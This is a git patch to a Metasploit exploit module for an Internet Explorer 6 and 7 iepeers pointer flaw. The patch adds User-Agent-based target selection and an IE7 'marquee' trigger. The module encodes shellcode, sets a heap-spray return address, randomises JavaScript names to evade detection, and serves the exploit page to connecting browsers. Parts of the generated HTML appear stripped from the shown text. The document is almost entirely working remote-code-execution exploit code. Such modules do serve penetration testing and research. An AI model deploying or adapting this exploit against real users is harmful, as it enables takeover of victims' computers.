From 79e277450a7650032fea45fdfd760b611d424192 Mon Sep 17 00:00:00 2001 From: Joshua Drake Date: Sat, 27 Mar 2010 01:31:19 +0000 Subject: [PATCH] add reliable IE7 trigger from Nanika git-svn-id: file:///home/svn/framework3/trunk@8935 4d416f70-5f16-0410-b530-b9f4589650da --- .../windows/browser/ie_iepeers_pointer.rb | 114 ++++++++++++++++-- 1 file changed, 102 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/browser/ie_iepeers_pointer.rb b/modules/exploits/windows/browser/ie_iepeers_pointer.rb index 0b0a67ad6e..b8a3df8812 100644 --- a/modules/exploits/windows/browser/ie_iepeers_pointer.rb +++ b/modules/exploits/windows/browser/ie_iepeers_pointer.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'unknown', # original discovery 'Trancer ', # metasploit module + 'Nanika', # HIT2010 IE7 reliable PoC 'jduck' # minor cleanups ], 'Version' => '$Revision$', @@ -72,39 +73,93 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'win', 'Targets' => [ - [ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ] + [ '(Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista', + { + 'Method' => 'automatic' + } + ], + + [ 'IE 6 SP0-SP2 (onclick)', + { + 'Method' => 'onclick', + 'Ret' => 0x0C0C0C0C + } + ], + + # "A great celebration of HIT2010" - http://www.hitcon.org/ + [ 'IE 7.0 (marquee)', + { + 'Method' => 'marquee', + 'Ret' => 0x0C0C0C0C + } + ], ], 'DisclosureDate' => 'Mar 09 2010', 'DefaultTarget' => 0)) end + + def auto_target(cli, request) + mytarget = nil + + agent = request.headers['User-Agent'] + #print_status("Checking user agent: #{agent}") + if agent =~ /Windows NT 6\.0/ + mytarget = targets[2] # IE7 on Vista + elsif agent =~ /MSIE 7\.0/ + mytarget = targets[2] # IE7 on XP and 2003 + elsif agent =~ /MSIE 6\.0/ + mytarget = targets[1] # IE6 on NT, 2000, XP and 2003 + else + print_error("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}") + end + + mytarget + end + + def on_request_uri(cli, request) + if target['Method'] == 'automatic' + mytarget = auto_target(cli, request) + if (not mytarget) + send_not_found(cli) + return + end + else + mytarget = target + end + # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) + print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})...") + # Encode the shellcode - shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) # Set the return\nops - ret = Rex::Text.to_unescape([target.ret].pack('V')) + ret = Rex::Text.to_unescape([mytarget.ret].pack('V')) # Randomize the javascript variable names j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) - j_memory = rand_text_alpha(rand(100) + 1) + j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) - j_ret = rand_text_alpha(rand(100) + 1) + j_ret = rand_text_alpha(rand(100) + 1) j_array = rand_text_alpha(rand(100) + 1) j_function1 = rand_text_alpha(rand(100) + 1) j_function2 = rand_text_alpha(rand(100) + 1) - j_object = rand_text_alpha(rand(100) + 1) - j_id = rand_text_alpha(rand(100) + 1) + j_object = rand_text_alpha(rand(100) + 1) + j_id = rand_text_alpha(rand(100) + 1) - # Build out the message - html = %Q| + # Construct the final page + case mytarget['Method'] + + when 'onclick' + html = %Q| | - print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") + when 'marquee' + j_attrib = rand_text_alpha(6); + html = %Q| + + + + + + + +| + + end # Transmit the compressed response to the client send_response(cli, html, { 'Content-Type' => 'text/html' }) @@ -146,5 +236,5 @@ document.getElementById('#{j_id}').onclick(); end -end - +end +